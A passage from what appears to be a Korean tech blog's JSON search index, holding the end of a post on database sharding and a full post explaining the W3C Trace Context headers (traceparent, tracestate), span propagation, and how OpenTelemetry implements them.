그래도 한 대의 쓰기 용량이나 저장 한계에 부딪힐 때 마지막 카드로 꺼낸다.\n그럼에도 일정 규모를 넘어선 대규모 서비스는 결국 샤딩을 피하기 어렵다. 단일 서버의 천장은 분명하고, 수평 확장만이 그 천장을 넘는 길이기 때문이다. 핵심은 \u0026ldquo;샤딩이 필요해지기 전에 샤드 키를 신중히 고르는 것\u0026quot;이다. 한번 정한 샤드 키를 바꾸는 일은 데이터 전체를 다시 배치하는 것과 같아, 가장 되돌리기 어려운 결정에 속한다.\n","permalink":"https://charminggroot.github.io/posts/009-sharding/","summary":"데이터와 트래픽이 한 대의 서버가 감당할 수 있는 한계를 넘으면 어떻게 할까. 샤딩이 무엇인지, 복제와 어떻게 다른지, 샤드 키와 분할 방식(범위·해시·디렉토리)이 무엇인지, 핫스팟과 리샤딩과 교차 샤드 조인 같은 대가가 왜 따라오는지, 그리고 언제 샤딩을 선택해야 하는지를 설명한다.","title":"009. 샤딩 — 데이터를 여러 대에 쪼개 담아 한계를 넘는 법"},{"content":"마이크로서비스 구조에서는 사용자의 요청 하나가 여러 서비스를 거친다. 주문 요청이 게이트웨이를 지나 주문 서비스로, 거기서 다시 결제 서비스와 재고 서비스로 퍼져나가는 식이다. 이때 어딘가에서 응답이 느려지거나 오류가 났다면, 그 요청이 어느 서비스에서 막혔는지 추적해야 한다. 그런데 각 서비스는 자기 앞의 일만 알 뿐, 그게 어떤 사용자 요청에서 비롯됐는지는 모른다.\n이를 해결하는 것이 분산 추적(distributed tracing)이다. 요청마다 고유한 식별자를 붙이고, 그 요청이 거치는 모든 서비스가 같은 식별자를 공유하게 하면, 흩어진 로그를 하나의 흐름으로 꿰어볼 수 있다. 문제는 이 식별자를 서비스 사이에 어떻게 주고받느냐다. W3C Trace Context는 바로 그 전달 방식을 표준으로 못 박은 명세다.\n왜 표준이 필요했나 분산 추적 자체는 새롭지 않다. Zipkin은 B3라는 헤더를, Jaeger는 또 다른 헤더를 써서 추적 정보를 전달했다. 문제는 저마다 형식이 달랐다는 것이다. Zipkin으로 추적하는 서비스와 다른 도구로 추적하는 서비스가 한 요청 안에서 만나면, 서로의 헤더를 못 알아보고 추적의 사슬이 거기서 끊겼다. 서비스마다, 도구마다 방언을 쓰니 대화가 안 됐던 셈이다.\nW3C Trace Context는 이 방언들을 하나의 공용어로 통일했다. HTTP 헤더 두 개의 이름과 형식을 표준으로 정해, 어떤 추적 도구를 쓰든 서로의 추적 정보를 이해하고 이어받을 수 있게 했다. 두 헤더는 traceparent와 tracestate다.\ntraceparent — 요청의 신분증 traceparent는 이 요청이 어떤 추적에 속하고, 직전에 누가 호출했는지를 담는다. 하이픈으로 나뉜 네 부분으로 이뤄진다.\ntraceparent: 00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01 └┬┘ └──────────────┬──────────────┘ └───────┬──────┘ └┬┘ version trace-id parent-id flags version은 형식의 버전으로 현재는 00이다. trace-id는 16바이트(32자리 16진수) 값으로, 하나의 요청 흐름 전체를 식별한다. 그 요청이 몇 개의 서비스를 거치든 이 값은 처음부터 끝까지 바뀌지 않는다. parent-id는 8바이트(16자리) 값으로, 직전 호출 구간을 식별한다. flags는 추적 옵션을 담는데, 대표적으로 마지막 비트가 이 요청을 실제로 기록할지(샘플링 여부)를 나타낸다. 01이면 기록, 00이면 기록하지 않는다.\n여기서 두 식별자의 역할이 갈린다. trace-id는 \u0026ldquo;이 요청 전체\u0026quot;를 가리키는 변하지 않는 번호이고, parent-id는 \u0026ldquo;바로 직전 단계\u0026quot;를 가리키는, 서비스를 거칠 때마다 바뀌는 번호다.\n스팬과 전파 추적에서 각 서비스가 처리한 한 구간을 스팬(span)이라 부른다. 하나의 추적(trace)은 여러 스팬이 부모-자식으로 이어진 나무 구조다. trace-id가 나무 전체의 이름이라면, 각 스팬은 그 나무의 가지 하나다.\n전파(propagation)는 이 추적 정보를 다음 서비스로 넘기는 과정이다. 서비스가 요청을 받으면 들어온 traceparent를 읽어, trace-id는 그대로 유지하고 자신의 처리 구간에 새 스팬 ID를 부여한다. 그리고 다음 서비스를 호출할 때는 parent-id 자리에 자신의 스팬 ID를 넣은 traceparent를 실어 보낸다. 받는 쪽 입장에서는 그 값이 \u0026ldquo;나를 부른 직전 구간\u0026quot;이 된다. 이렇게 각 서비스가 trace-id는 보존하고 parent-id만 자기 것으로 바꿔 넘기면, 흩어진 스팬들이 부모-자식 관계로 자연스럽게 연결된다.\n[게이트웨이] trace=abc, span=11 │ traceparent: 00-abc-11-01 ▼ [주문 서비스] trace=abc, span=22 (parent=11) │ traceparent: 00-abc-22-01 ▼ [결제 서비스] trace=abc, span=33 (parent=22) trace-id abc는 끝까지 같고, parent-id만 단계마다 바뀐다. 추적 도구는 이 관계를 모아 하나의 폭포수 그래프로 재구성한다.\ntracestate — 도구별 부가 정보 tracestate는 추적 도구들이 자기만의 부가 정보를 실어 나르는 칸이다. 쉼표로 구분된 키-값 쌍들로 이뤄진다.\ntracestate: congo=t61rcWkgMzE,rojo=00f067aa0ba902b7 traceparent가 모든 도구가 공유하는 공통 정보라면, tracestate는 각 도구가 추가로 챙기고 싶은 정보를 표준을 깨지 않고 끼워 넣는 공간이다. 표준 형식(traceparent)으로 상호운용성을 보장하면서도, 도구별 확장(tracestate)의 여지를 남겨둔 설계다.\nOpenTelemetry가 이 표준을 어떻게 쓰나 Trace Context는 어디까지나 \u0026ldquo;헤더 두 개의 형식\u0026quot;을 정한 명세일 뿐이다. 실제로 스팬을 만들고, 헤더를 읽고 쓰고, 추적 데이터를 저장소로 보내는 일은 별도의 구현이 맡는다. 오늘날 그 구현의 사실상 표준이 OpenTelemetry(OTel)다. 둘의 관계는 한 문장으로 정리된다. Trace Context는 \u0026ldquo;무엇을 어떤 형식으로 전파할지\u0026quot;를 정하는 규약이고, OpenTelemetry는 그 규약대로 전파를 실제로 수행하는 라이브러리다. 층이 다르므로 경쟁하지 않고 포개진다.\n구체적으로 OpenTelemetry 안에서 이 표준을 다루는 부품을 전파기(propagator)라 한다. 서비스가 외부 요청을 받으면 OTel의 전파기가 traceparent/tracestate 헤더를 읽어(extract) 현재 실행 맥락(context)에 추적 정보를 복원한다. 반대로 이 서비스가 다른 서비스를 호출할 때는 전파기가 그 맥락을 다시 헤더로 직렬화해(inject) 요청에 실어 보낸다. 앞 절에서 \u0026ldquo;trace-id는 보존하고 parent-id만 자기 것으로 바꿔 넘긴다\u0026quot;고 한 그 작업을, 엔지니어가 손으로 짜는 대신 OTel 전파기가 자동으로 해주는 것이다.\n더 나아가 OpenTelemetry의 자동 계측(auto-instrumentation)을 붙이면, HTTP 클라이언트·서버 라이브러리 호출에 이 추출과 주입이 자동으로 끼어든다. 애플리케이션 코드를 거의 건드리지 않아도 모든 서비스가 표준 헤더를 일관되게 주고받게 되는 셈이다. 또한 OTel은 W3C Trace Context와 짝을 이루는 또 다른 명세인 Baggage(요청을 따라 흐르는 사용자 정의 키-값)도 같은 전파 메커니즘으로 다룬다. 정리하면, 표준이 약속한 헤더를 실제 운영에서 일관되게 구현하기 위한 가장 흔한 답이 OpenTelemetry이고, 그래서 둘은 거의 한 묶음으로 등장한다.\n트레이드오프 — 무엇을 얻고 무엇을 감수하나 얻는 것은 분명하다.\n상호운용성. 서비스마다 언어와 추적 도구가 달라도, 표준 헤더 두 개만 지키면 한 요청의 흐름이 경계를 넘어 하나로 이어진다. 특정 벤더에 묶이지 않으므로 추적 백엔드(Jaeger, Tempo, 상용 APM 등)를 바꿔도 계측 코드는 그대로다. 얹기 쉬움. 추가 채널이 아니라 기존 HTTP 헤더에 얹히므로, 통신 구조를 바꾸지 않고도 도입된다. OpenTelemetry 자동 계측과 결합하면 코드 변경도 거의 없다. 감수하는 것은 그 대가로 따라온다.\n전 구간 일관성이 전제다. 추적은 사슬이라, 중간에 한 서비스라도 헤더를 읽어 다음으로 넘기지 않으면 그 지점에서 끊긴다. 그러면 끊긴 뒤의 스팬들은 부모를 잃고 추적이 두 동강 난다. 모든 서비스가 빠짐없이 전파를 구현해야 하며, 이것이 OpenTelemetry 같은 공통 라이브러리를 표준으로 도입하는 실질적 이유다. HTTP 경계를 넘는 곳엔 손이 더 간다. 헤더 전파는 HTTP·gRPC처럼 헤더가 있는 통신에서 자연스럽지만, 메시지 큐나 비동기 이벤트처럼 헤더 개념이 다른 경로에서는 추적 정보를 메시지 속성에 직접 실어 나르도록 따로 맞춰야 한다. 기록 비용과 샘플링의 타협. 모든 요청의 모든 스팬을 다 저장하면 데이터양과 비용이 폭증한다. 그래서 flags의 샘플링으로 일부만 기록하는데, 적게 잡으면 정작 문제가 터진 요청이 기록에서 빠지고, 많이 잡으면 비용이 커진다. \u0026ldquo;무엇을 얼마나 남길지\u0026quot;가 운영에서 끊임없이 조율해야 하는 지점이다. 약간의 오버헤드. 헤더 파싱, 스팬 생성, 데이터 전송에 자원이 든다. 보통은 무시할 수준이지만, 극단적으로 지연에 민감한 경로에서는 고려 대상이 된다. 요약하면, W3C Trace Context는 \u0026ldquo;표준 헤더로 추적을 잇는다\u0026quot;는 이점을 주는 대신 \u0026ldquo;모든 서비스가 전파를 빠짐없이 구현하고, 무엇을 얼마나 기록할지 끊임없이 조율해야 한다\u0026quot;는 운영 부담을 요구한다. 마이크로서비스가 보편화된 지금은 그 부담을 감수하더라도 요청의 전체 경로를 들여다보는 편이 이득인 경우가 대부분이고, OpenTelemetry가 그 부담의 상당 부분을 표준화된 구현으로 덜어준다.\n","permalink":"https://charminggroot.github.io/posts/010-w3c-trace-context/","summary":"마이크로서비스에서는 요청 하나가 여러 서비스를 거쳐 처리된다. 이 흐름을 끝에서 끝까지 추적하려면 서비스 경계를 넘어 추적 정보를 전달해야 한다. W3C Trace Context가 무엇인지, traceparent와 tracestate 헤더가 어떻게 생겼는지, 전파(propagation)가 어떻게 일어나는지, 그리고 이 표준이 왜 OpenTelemetry의 토대가 됐는지를 설명한다.","title":"010. W3C Trace Context — 서비스를 넘나드는 요청을 하나로 잇는 표준"}]